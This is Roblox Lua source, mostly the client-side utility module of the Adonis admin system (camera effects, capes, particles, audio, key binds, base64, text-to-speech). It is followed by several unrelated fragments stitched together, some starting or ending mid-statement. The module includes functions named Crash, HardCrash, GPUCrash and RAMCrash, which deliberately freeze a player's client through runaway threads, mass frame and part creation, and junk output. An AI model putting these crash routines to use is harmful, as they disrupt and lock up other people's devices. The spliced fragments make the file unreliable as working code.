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--// Special Variables
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = service local client = client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables; Functions = client.Functions; Process = client.Process; Remote = client.Remote; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Functions = { Init = Init; Kill = client.Kill; GetRandom = function(pLen) local Len = (type(pLen) == "number" and pLen) or math.random(10,15) --// reru local Res = {}; for Idx = 1, Len do Res[Idx] = string.format('%02x', math.random(255)); end; return table.concat(Res) end; Round = function(num) return math.floor(num + 0.5) end; SetView = function(ob) if ob=='reset' then workspace.CurrentCamera.CameraType = 'Custom' workspace.CurrentCamera.CameraSubject = service.Player.Character.Humanoid workspace.CurrentCamera.FieldOfView = 70 else workspace.CurrentCamera.CameraSubject = ob end end; AddAlias = function(alias, command) Variables.Aliases[alias:lower()] = command; Remote.Get("UpdateAliases", Variables.Aliases) spawn(function() UI.MakeGui("Notification",{ Time = 5; Title = "Notification"; Message = "Alias added"; }) end) end; RemoveAlias = function(alias) if client.Variables.Aliases[alias:lower()] then Variables.Aliases[alias:lower()] = nil; Remote.Get("UpdateAliases", Variables.Aliases) spawn(function() UI.MakeGui("Notification",{ Time = 5; Title = "Notification"; Message = "Alias removed"; }) end) else spawn(function() UI.MakeGui("Notification",{ Time = 5; Title = "Notification"; Message = "Alias not found"; }) end) end end; Dizzy = function(speed) service.StopLoop("DizzyLoop") if speed then local cam = workspace.CurrentCamera local last = tick() local rot = 0 local flip = false service.StartLoop("DizzyLoop","RenderStepped",function() local dt = tick() - last if flip then rot = rot+math.rad(speed*dt) else rot = rot-math.rad(speed*dt) end if rot >= 2.5 or rot <= -2.5 then --flip = not flip end cam.CoordinateFrame = cam.CoordinateFrame * CFrame.Angles(0, 0.00, rot) last = tick() end) end end; Base64Encode = function(data) local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' return ((data:gsub('.', function(x) local r,b='',string.byte(x) for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end return r; end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x) if (#x < 6) then return '' end local c=0 for i=1,6 do c=c+(string.sub(x,i,i)=='1' and 2^(6-i) or 0) end return string.sub(b,c+1,c+1) end)..({ '', '==', '=' })[#data%3+1]) end; Base64Decode = function(data) local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' data = string.gsub(data, '[^'..b..'=]', '') return (data:gsub('.', function(x) if (x == '=') then return '' end local r,f='',(string.find(b,x)-1) for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end return r; end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x) if (#x ~= 8) then return '' end local c=0 for i=1,8 do c=c+(string.sub(x,i,i)=='1' and 2^(7-i) or 0) end return string.char(c) end)) end; GetGuiData = function(args) local props = { "AbsolutePosition"; "AbsoluteSize"; "ClassName"; "Name"; "Parent"; "Archivable"; "SelectionImageObject"; "Active"; "BackgroundColor3"; "BackgroundTransparency"; "BorderColor3"; "BorderSizePixel"; "Position"; "Rotation"; "Selectable"; "Size"; "SizeConstraint"; "Style"; "Visible"; "ZIndex"; "ClipsDescendants"; "Draggable"; "NextSelectionDown"; "NextSelectionLeft"; "NextSelectionRight"; "NextSelectionUp"; "AutoButtonColor"; "Modal"; "Image"; "ImageColor3"; "ImageRectOffset"; "ImageRectSize"; "ImageTransparency"; "ScaleType"; "SliceCenter"; "Text"; "TextColor3"; "Font"; "TextScaled"; "TextStrokeColor3"; "TextStrokeTransparency"; "TextTransparency"; "TextWrapped"; "TextXAlignment"; "TextYAlignment"; }; local classes = { "ScreenGui"; "GuiMain"; "Frame"; "TextButton"; "TextLabel"; "ImageButton"; "ImageLabel"; "ScrollingFrame"; "TextBox"; "BillboardGui"; "SurfaceGui"; } local guis = { Properties = { Name = "ViewGuis"; ClassName = "Folder"; }; Children = {}; } local rLockedFound = false local add; add = function(tab,child) if not Anti.ObjRLocked(child) then local good = false for i,v in next,classes do if child:IsA(v) then good = true end end if good then local new = { Properties = {}; Children = {}; } for i,v in next,props do pcall(function() new.Properties[v] = child[v] end) end for i,v in next,child:GetChildren()do add(new,v) end table.insert(tab.Children, new) end else rLockedFound = true end end for i,v in next,service.PlayerGui:GetChildren()do pcall(add,guis,v) end return guis end; LoadGuiData = function(data) local make; make = function(dat) local props = dat.Properties local children = dat.Children local gui = service.New(props.ClassName) for i,v in next,props do pcall(function() gui[i] = v end) end for i,v in next,children do pcall(function() local g = make(v) if g then g.Parent = gui end end) end return gui end local temp = Instance.new("Folder") for i,v in next,service.PlayerGui:GetChildren()do if not UI.Get(v) then v.Parent = temp end end Variables.GuiViewFolder = temp local folder = service.New("Folder",{Parent = service.PlayerGui; Name = "LoadedGuis"}) for i,v in next,data.Children do pcall(function() local g = make(v) if g then g.Parent = folder end end) end end; UnLoadGuiData = function() for i,v in next,service.PlayerGui:GetChildren()do if v.Name == "LoadedGuis" then v:Destroy() end end if Variables.GuiViewFolder then for i,v in next,Variables.GuiViewFolder:GetChildren()do v.Parent = service.PlayerGui end Variables.GuiViewFolder:Destroy() Variables.GuiViewFolder = nil end end; GetParticleContainer = function(target) if target then for i,v in next,service.LocalContainer():GetChildren()do if v.Name == target:GetFullName().."PARTICLES" then local obj = v:FindFirstChild("_OBJECT") if obj.Value == target then return v end end end end end; NewParticle = function(target, class, properties) local effect, index; properties.Parent = target; properties.Enabled = Variables.ParticlesEnabled; effect = service.New(class, properties); index = Functions.GetRandom(); Variables.Particles[index] = effect; table.insert(Variables.Particles, effect); effect.Changed:Connect(function() if not effect or not effect.Parent or effect.Parent ~= target then pcall(function() effect:Destroy() end) Variables.Particles[index] = nil; end end) end; RemoveParticle = function(target, name) for i,effect in next,Variables.Particles do if effect.Parent == target and effect.Name == name then effect:Destroy(); Variables.Particles[i] = nil; end end end; EnableParticles = function(enabled) for i,effect in next,Variables.Particles do if enabled then effect.Enabled = true else effect.Enabled = false end end end; NewLocal = function(class, props, parent) local obj = service.New(class) for prop,value in next,props do obj[prop] = value end if not parent or parent == "LocalContainer" then obj.Parent = service.LocalContainer() elseif parent == "Camera" then obj.Parent = service.Workspace.CurrentCamera elseif parent == "PlayerGui" then obj.Parent = service.PlayerGui end end; MakeLocal = function(object,parent,clone) if object then local object = object if clone then object = object:Clone() end if not parent or parent == "LocalContainer" then object.Parent = service.LocalContainer() elseif parent == "Camera" then object.Parent = service.Workspace.CurrentCamera elseif parent == "PlayerGui" then object.Parent = service.PlayerGui end end end; MoveLocal = function(object,parent,newParent) local par if not parent or parent == "LocalContainer" then par = service.LocalContainer() elseif parent == "Camera" then par = service.Workspace.CurrentCamera elseif parent == "PlayerGui" then par = service.PlayerGui end for ind,obj in next,par:GetChildren()do if obj.Name == object or obj == obj then obj.Parent = newParent end end end; RemoveLocal = function(object,parent,match) local par if not parent or parent == "LocalContainer" then par = service.LocalContainer() elseif parent == "Camera" then par = service.Workspace.CurrentCamera elseif parent == "PlayerGui" then par = service.PlayerGui end for ind,obj in next,par:GetChildren() do if (match and string.match(obj.Name,object)) or (obj.Name == object or object == obj) then obj:Destroy() end end end; NewCape = function(data) local char = data.Parent local material = data.Material or "Neon" local color = data.Color or "White" local reflect = data.Reflectance or 0 local decal = tonumber(data.Decal or "") if char then Functions.RemoveCape(char) local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or char:FindFirstChild("HumanoidRootPart") local isR15 = (torso.Name == "UpperTorso") if torso then local p = service.New("Part") p.Name = "ADONIS_CAPE" p.Anchored = false p.Position = torso.Position p.Transparency = 0 p.Material = material p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.Size = Vector3.new(2,4,0.1) p.BrickColor = BrickColor.new(color) or BrickColor.new("White") p.Parent = service.LocalContainer() if reflect then p.Reflectance = reflect end local motor1 = service.New("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1-((isR15 and 0.2) or 0),(torso.Size.Z/2))*CFrame.Angles(0,math.rad(90),0) local msh = service.New("BlockMesh", p) msh.Scale = Vector3.new(0.9,0.87,0.1) local dec if decal and decal ~= 0 then dec = service.New("Decal", p) dec.Name = "Decal" dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id="..decal dec.Transparency = 0 end local index = Functions.GetRandom() Variables.Capes[index] = { Part = p; Motor = motor1; Enabled = true; Parent = data.Parent; Torso = torso; Decal = dec; Data = data; Wave = true; isR15 = isR15; } local p = service.Players:GetPlayerFromCharacter(data.Parent) if p and p == service.Player then Variables.Capes[index].isPlayer = true end if not Variables.CapesEnabled then p.Transparency = 1 if dec then dec.Transparency = 1 end Variables.Capes[index].Enabled = false end Functions.MoveCapes() end end end; RemoveCape = function(parent) for i,v in next,Variables.Capes do if v.Parent == parent or not v.Parent or not v.Parent.Parent then pcall(v.Part.Destroy,v.Part) Variables.Capes[i] = nil end end end; HideCapes = function(hide) for i,v in next,Variables.Capes do local torso = v.Torso local parent = v.Parent local part = v.Part local motor = v.Motor local wave = v.Wave local decal = v.Decal if parent and parent.Parent and torso and torso.Parent and part and part.Parent then if not hide then part.Transparency = 0 if decal then decal.Transparency = 0 end v.Enabled = true else part.Transparency = 1 if decal then decal.Transparency = 1 end v.Enabled = false end else pcall(part.Destroy,part) Variables.Capes[i] = nil end end end; MoveCapes = function() service.StopLoop("CapeMover") service.StartLoop("CapeMover",0.1,function() if Functions.CountTable(Variables.Capes) == 0 or not Variables.CapesEnabled then service.StopLoop("CapeMover") else for i,v in next,Variables.Capes do local torso = v.Torso local parent = v.Parent local isPlayer = v.isPlayer local isR15 = v.isR15 local part = v.Part local motor = v.Motor local wave = v.Wave local decal = v.Decal if parent and parent.Parent and torso and torso.Parent and part and part.Parent then if v.Enabled and Variables.CapesEnabled then part.Transparency = 0 if decal then decal.Transparency = 0 end local ang = 0.1 if wave then if torso.Velocity.magnitude > 1 then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 end v.Wave = false else v.Wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .8) motor.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + 0.002 if isPlayer then motor.DesiredAngle = -ang else motor.CurrentAngle = -ang -- bugs end if motor.CurrentAngle < -.2 and motor.DesiredAngle > -.2 then motor.MaxVelocity = .04 end else part.Transparency = 1 if decal then decal.Transparency = 1 end end else pcall(part.Destroy,part) Variables.Capes[i] = nil end end end end, true) end; CountTable = function(tab) local count = 0 for i,v in next,tab do count = count+1 end return count end; ClearAllInstances = function() local objects = service.GetAdonisObjects() for i in next,objects do i:Destroy() objects[i] = nil end end; PlayAnimation = function(animId) if animId == 0 then return end local char = service.Player.Character local human = char:FindFirstChildOfClass("Humanoid") local animator = human:FindFirstChildOfClass("Animator") or human:WaitForChild("Animator") for i,v in pairs(animator:GetPlayingAnimationTracks()) do v:Stop() end local anim = service.New('Animation') anim.AnimationId = 'rbxassetid://'..animId anim.Name = "ADONIS_Animation" local track = animator:LoadAnimation(anim) track:Play() end; SetLighting = function(prop,value) if service.Lighting[prop]~=nil then service.Lighting[prop] = value Variables.LightingSettings[prop] = value end end; LocalLighting = function(on) if on then service.StartLoop("LocalLighting","RenderStepped",function() for prop,value in next,Variables.LightingSettings do if service.Lighting[prop]~=nil then service.Lighting[prop] = value end end end) else service.StopLoop("LocalLighting") end end; ChatMessage = function(msg,color,font,size) local tab = {} tab.Text = msg if color then tab.Color = color end if font then tab.Font = font end if size then tab.Size = size end service.StarterGui:SetCore("ChatMakeSystemMessage",tab) if Functions.SendToChat then Functions.SendToChat({Name = "::Adonis::"},msg,"Private") end end; SetCamProperty = function(prop,value) local cam = workspace.CurrentCamera if cam[prop] then cam[prop] = value end end; SetFPS = function(fps) service.StopLoop("SetFPS") local fps = tonumber(fps) if fps then service.StartLoop("SetFPS",0.1,function() local ender = tick()+1/fps repeat until tick()>=ender end) end end; RestoreFPS = function() service.StopLoop("SetFPS") end; Crash = function() --[[ local load = function(f) return f() end local s = string.rep("\n", 2^24) print(load(function() return s end))--]] --print(string.find(string.rep("a", 2^20), string.rep(".?", 2^20))) --[[while true do spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() print("Triangles.") end) end) end) end) end) end) end) end) end) end) end) end--]] local Run = service.RunService; local Lol = 0; local Thread; function Thread() Run:BindToRenderStep(tostring(Lol), 100, function() print"Stopping"; Thread(); end); Lol = Lol + 1; end; Thread(); --local crash; crash = function() while true do repeat spawn(function() pcall(function() print(game[("%s|"):rep(100000)]) crash() end) end) until nil end end --crash() end; HardCrash = function() local crash local tab local gui = service.New("ScreenGui",service.PlayerGui) local rem = service.New("RemoteEvent",workspace.CurrentCamera) crash = function() for i=1,50 do service.Debris:AddItem(service.New("Part",workspace.CurrentCamera),2^4000) print("((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)") local f = service.New('Frame',gui) f.Size = UDim2.new(1,0,1,0) spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) rem:FireServer("Hiiiiiiiiiiiiiiii") spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() print("hi") spawn(crash) end) end) end) end) end) --print(game[("%s|"):rep(0xFFFFFFF)]) end tab = {} end while wait(0.01) do for i = 1,50000000 do cPcall(function() client.GPUCrash() end) cPcall(function() crash() end) print(1) end end end; GPUCrash = function() local crash local gui = service.New("ScreenGui",service.PlayerGui) crash = function() while wait(0.01) do for i = 1,500000 do local f = service.New('Frame',gui) f.Size = UDim2.new(1,0,1,0) end end end crash() end; RAMCrash = function() while wait(0.1) do for i = 1,10000 do service.Debris:AddItem(service.New("Part",workspace.CurrentCamera),2^4000) end end end; KillClient = function() client.Kill("KillClient called") end; KeyBindListener = function() if not Variables then wait() end; local timer = 0 Variables.KeyBinds = Remote.Get("PlayerData").Keybinds or {} service.UserInputService.InputBegan:Connect(function(input) local key = tostring(input.KeyCode.Value) local textbox = service.UserInputService:GetFocusedTextBox() if Variables.KeybindsEnabled and not (textbox) and key and Variables.KeyBinds[key] and not Variables.WaitingForBind then local isAdmin = Remote.Get("CheckAdmin") if (tick() - timer > 5 or isAdmin) and pcall(string.char, key) then Remote.Send('ProcessCommand',Variables.KeyBinds[key],false,true) UI.Make("Hint",{ Message = "[Ran] Key: "..string.char(key).." | Command: "..tostring(Variables.KeyBinds[key]) }) end timer = tick() end end) end; AddKeyBind = function(key, command) Variables.KeyBinds[tostring(key)] = command Remote.Get("UpdateKeybinds",Variables.KeyBinds) UI.Make("Hint",{ Message = 'Bound "'..string.char(key)..'" to '..command }) end; RemoveKeyBind = function(key) if Variables.KeyBinds[tostring(key)] ~= nil then Variables.KeyBinds[tostring(key)] = nil Remote.Get("UpdateKeybinds",Variables.KeyBinds) Routine(function() UI.Make("Hint",{ Message = 'Removed "'..string.char(key)..'" from key binds' }) end) end end; BrickBlur = function(on,trans,color) local exists = service.LocalContainer():FindFirstChild("ADONIS_WINDOW_FUNC_BLUR") if exists then exists:Destroy() end if on then local pa = Instance.new("Part",workspace.CurrentCamera) pa.Name = "ADONIS_WINDOW_FUNC_BLUR" pa.Material = "Neon" pa.BrickColor = color or BrickColor.Black() pa.Transparency = trans or 0.5 pa.CanCollide = false pa.Anchored = true pa.FormFactor = "Custom" pa.Size=Vector3.new(100,100,0) while pa and pa.Parent and wait(1/40) do pa.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-2.5)*CFrame.Angles(12.6,0,0) end else for i,v in next,workspace.CurrentCamera:GetChildren()do if v.Name == "ADONIS_WINDOW_FUNC_BLUR" then v:Destroy() end end end end; PlayAudio = function(audioId, volume, pitch, looped) if Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)]=nil end local sound = service.New("Sound") sound.SoundId = "rbxassetid://"..audioId if looped then sound.Looped = true end if volume then sound.Volume = volume end if pitch then sound.Pitch = pitch end sound.Name = "ADONI_LOCAL_SOUND "..audioId sound.Parent = service.LocalContainer() Variables.localSounds[tostring(audioId)] = sound sound:Play() wait(1) repeat wait(0.1) until not sound.IsPlaying sound:Destroy() Variables.localSounds[tostring(audioId)] = nil end; StopAudio = function(audioId) if Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)] = nil elseif audioId == "all" then for i,v in pairs(Variables.localSounds) do Variables.localSounds[i]:Stop() Variables.localSounds[i]:Destroy() Variables.localSounds[i] = nil end end end; FadeAudio = function(audioId,inVol,pitch,looped,incWait) if not inVol then local sound = Variables.localSounds[tostring(audioId)] if sound then for i = sound.Volume,0,-0.01 do sound.Volume = i wait(incWait or 0.1) end Functions.StopAudio(audioId) end else Functions.StopAudio(audioId) Functions.PlayAudio(audioId,0,pitch,looped) local sound = Variables.localSounds[tostring(audioId)] if sound then for i = 0,inVol,0.01 do sound.Volume = i wait(incWait or 0.1) end end end end; KillAllLocalAudio = function() for i,v in next,Variables.localSounds do v:Stop() v:Destroy() table.remove(Variables.localSounds,i) end end; RemoveGuis = function() for i,v in next,service.PlayerGui:GetChildren()do if not UI.Get(v) then v:Destroy() end end end; SetCoreGuiEnabled = function(element,enabled) service.StarterGui:SetCoreGuiEnabled(element,enabled) end; UnCape = function() local cape = service.LocalContainer():FindFirstChild("::Adonis::Cape") if cape then cape:Destroy() end end; Cape = function(material,color,decal,reflect) local torso = service.Player.Character:FindFirstChild("HumanoidRootPart") if torso then local p = service.New("Part",service.LocalContainer()) p.Name = "::Adonis::Cape" p.Anchored = true p.Transparency=0.1 p.Material=material p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 if type(color)=="table" then color = Color3.new(color[1],color[2],color[3]) end p.BrickColor = BrickColor.new(color) or BrickColor.new("White") if reflect then p.Reflectance=reflect end if decal and decal~=0 then local dec = service.New("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id="..decal dec.Transparency=0 end p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = service.New("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) wait(0.1) p.Anchored=false local motor1 = service.New("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,torso.Size.Z/2)*CFrame.Angles(0,math.rad(90),0)--.45 local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >=(torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or not p.Parent or p.Parent ~= service.LocalContainer() end end; TextToSpeech = function(str) local audioId = 296333956 local audio = Instance.new("Sound",service.LocalContainer()) audio.SoundId = "rbxassetid://"..audioId audio.Volume = 1 local audio2 = Instance.new("Sound",service.LocalContainer()) audio2.SoundId = "rbxassetid://"..audioId audio2.Volume = 1 local phonemes = { { str='%so'; func={17} }; --(on) { str='ing'; func={41} }; --(singer) { str="oot"; func={4, 26}; --oo,t }; { str='or'; func={10} }; --(door) --oor { str='oo'; func={3} }; --(good) { str='hi'; func={44, 19}; --h, y/ii }; { str='ie'; func={1}; --ee }; { str="eye"; func={19}; --y/ii }; { str="$Suy%s"; --%Suy real="uy"; func={19}; --y/ii }; { str="%Sey%s"; --%Sey func={1}; --ee }; { str="%sye"; --%sye func={19}; --y/ii }; --[[{ str='th'; func={30.9, 31.3} }; --(think)--]] { str='the'; func={25, 15}; --th, u }; { str='th'; func={32, 0.2395} }; --(this) --[[ { str='ow'; func={10, 0.335} }; --(show) --ow --]] { str='ow'; func={20} }; --(cow) --ow { str="qu"; func={21,38};--c,w }; { str='ee'; func={1} }; --(sheep) { str='i%s'; delay=0.5; func={19} }; --(I) { str='ea'; func={1} }; --(read) { str='u(.*)e'; real='u'; capture=true; func={9} }; --(cure) (match ure) --u { str='ch'; func={24} }; --(cheese) { str='ere'; func={5} }; --(here) { str='ai'; func={6} }; --(wait) { str='la'; func={39,6} }; { str='oy'; func={8} }; --(boy) { str='gh'; func={44}; }; { str='sh'; func={22} }; --(shall) { str='air'; func={18} }; --(hair) { str='ar'; func={16} }; --(far) { str='ir'; func={11} }; --(bird) { str='er'; func={12} }; --(teacher) { str='sio'; func={35} }; --(television) { str='ck'; func={21} }; --(book) { str="zy"; func={34,1}; --z,ee }; { str="ny"; func={42, 1}; --n,ee }; { str="ly"; func={39, 1}; --l,ee }; { str="ey"; func={1} --ee }; { str='ii'; func={19} }; --(ii?) { str='i'; func={2} };--(ship) { str='y'; --y%S func={37} }; --(yes) --[[ { str='%Sy'; func={23.9, 24.4} }; --(my) --]] { str='y'; func={37} }; --(my) { str='s'; func={23} }; --(see) { str='e'; func={13}; }; --(bed) --[[--]] { str='a'; func={14} }; --(cat) --[[ { str='a'; func={6} }; --(lazy) --ai--]] { str="x"; func={21, 23} --c, s }; { str='u'; func={15} }; --(up) { str='o'; func={17} }; --(on) { str='c'; func={21} }; --(car) { str='k'; func={21} }; --(book) { str='t'; func={26} }; --(tea) { str='f'; func={27} }; --(fly) { str='i'; func={2} };--(ship) { str='p'; func={28} }; --(pea) { str='b'; func={29} }; --(boat) { str='v'; func={30} }; --(video) { str='d'; func={31} }; --(dog) { str='j'; func={33} }; --(june) { str='z'; func={34} }; --(zoo) { str='g'; func={36} }; --(go) { str='w'; func={38} }; --(wet) { str='l'; func={39} }; --(love) { str='r'; func={40} }; --(red) { str='n'; func={42} }; --(now) { str='m'; func={43} }; --(man) { str='h'; func={44} }; --(hat) { str=' '; func="wait"; }; { str='%.'; func="wait"; }; { str='!'; func="wait"; }; { str='?'; func="wait"; }; { str=';'; func="wait"; }; { str=':'; func="wait"; }; } game:service("ContentProvider"):Preload("rbxassetid://"..audioId) local function getText(str) local tab = {} local str = str local function getNext() for i,v in ipairs(phonemes) do local occ,pos = string.find(string.lower(str),"^"..v.str) if occ then if v.capture then local real = v.real local realStart,realEnd = string.find(string.lower(str),real) --local captStart,captEnd = str:lower():find(v.str) local capt = string.match(string.lower(str),v.str) if occ>realEnd then table.insert(tab,v) getText(capt) else getText(capt) table.insert(tab,v) end else table.insert(tab,v) end str = string.sub(str,pos+1) getNext() end end end getNext() return tab end local phos=getText(str) local swap = false local function say(pos) local sound=audio --[[--]] if swap then sound=audio2 end--]] sound.TimePosition=pos --sound:Play() --wait(0.2) --wait(pause) --sound:Stop() end audio:Play() audio2:Play() for i,v in ipairs(phos) do --print(i,v.str) if type(v.func)=="string" then--v.func=="wait" then wait(0.5) elseif type(v)=="table" then for l,p in ipairs(v.func) do --[[--]] if swap then swap=false else swap=true end--]] say(p) if v.delay then wait(v.delay) else wait(0.1) end end end end wait(0.5) audio:Stop() audio2:Stop() end; }; end
-- << CONFIGURATION >>
local rank = "HeadAdmin" local rankType = "Perm" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932 local successColor = Color3.fromRGB(0,255,0) local errorColor = Color3.fromRGB(255,0,0)
--[Rurka]
pala1 = script.Parent.Parent.Part1 legansio = true pala2 = script.Parent.Parent.Part2 legansio = true pala3 = script.Parent.Parent.Part3 legansio = true pala4 = script.Parent.Parent.Part4 legansio = true pala5 = script.Parent.Parent.Part5 legansio = true pala6 = script.Parent.Parent.Part6 legansio = true pala7 = script.Parent.Parent.Part7 legansio = true
--- Creates an alias command
function Util.MakeAliasCommand(name, commandString) return { Name = name, Aliases = {}, Description = commandString, Group = "UserAlias", Args = { { Type = "string", Name = "Argument 1", Description = "", Default = "" }, { Type = "string", Name = "Argument 2", Description = "", Default = "" }, { Type = "string", Name = "Argument 3", Description = "", Default = "" }, { Type = "string", Name = "Argument 4", Description = "", Default = "" }, { Type = "string", Name = "Argument 5", Description = "", Default = "" } }, Run = function(context, ...) local args = {...} local commands = Util.SplitStringSimple(commandString, "&&") for i, command in ipairs(commands) do local output = context.Dispatcher:EvaluateAndRun( Util.RunEmbeddedCommands( context.Dispatcher, Util.SubstituteArgs(command, args) ) ) if i == #commands then return output -- return last command's output else context:Reply(output) end end return "" end } end
-- determine their tool
local hasEquipped = _G.SD[player.UserId].Data.tempData.equippedSlot if not hasEquipped then return end local equippedTool = _G.SD[player.UserId].Data.equipment.toolbar[hasEquipped]
--------------------------------------------------------------------------------------------------------------------------- -- Functions ---------------------------------------------------------------------------------------------------------------------------
local function Weld(X, Y) local CJ = CFrame.new(X.Position) local C0 = X.CFrame:inverse()*CJ local C1 = Y.CFrame:inverse()*CJ local W = Create("Weld"){ Name = "Weld", Parent = X, Part0 = X, Part1 = Y, C0 = C0, C1 = C1 } end local function WeldObjects(parent) for i, obj in pairs(parent:GetChildren()) do if obj:IsA("Part") or obj:IsA("UnionOperation") then Weld(Handle, obj) obj.Anchored = false -- print("[Weld] Objects have been welded!") end end end Tool.Equipped:connect(function() WeldObjects(Tool) end) Tool.Unequipped:connect(function() WeldObjects(Tool) end)
--script.Parent.Parent.Parent.Bulb.Sound:Stop()
script.Parent.BrickColor = BrickColor.new("Bright red") end end script.Parent.ClickDetector.MouseClick:connect(ToggleLight)
--[=[ Fires a signal at the clients within the `players` table. This is useful when signals need to fire for a specific set of players. For more complex firing, see `FireFilter`. :::note Outbound Middleware All arguments pass through any outbound middleware (if any) before being sent to the clients. ::: ```lua local players = {somePlayer1, somePlayer2, somePlayer3} remoteSignal:FireFor(players, "Hello, players!") ``` ]=]
function RemoteSignal:FireFor(players: { Player }, ...: any) for _, player in ipairs(players) do self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...)) end end
--Get Wheels
for a,b in pairs(Suspensions) do for i,v in pairs(b:GetChildren()) do --print(v.Name) if string.match(v.Name,"Wheel") then table.insert(Wheels,{Wheel = v}) end end end
--[[ At this point in time, developers will have to manually modify the HD Admin TopBar as Roblox don't provide much support when working with the TopBar: hd:SetTopbarTransparency(number) hd:SetTopbarEnabled(boolean) --]]
return module
--[[ GAVturet - основной модуль GAVAttack - скрипт цепляемый к пушке Fire bullet - скрипт отвечающий за полёт снарядов Rocket -- за повреждение ]]
-- local Players = game:GetService("Players") -- берём ссылку на список игроков local module = {}
--[[Engine]]
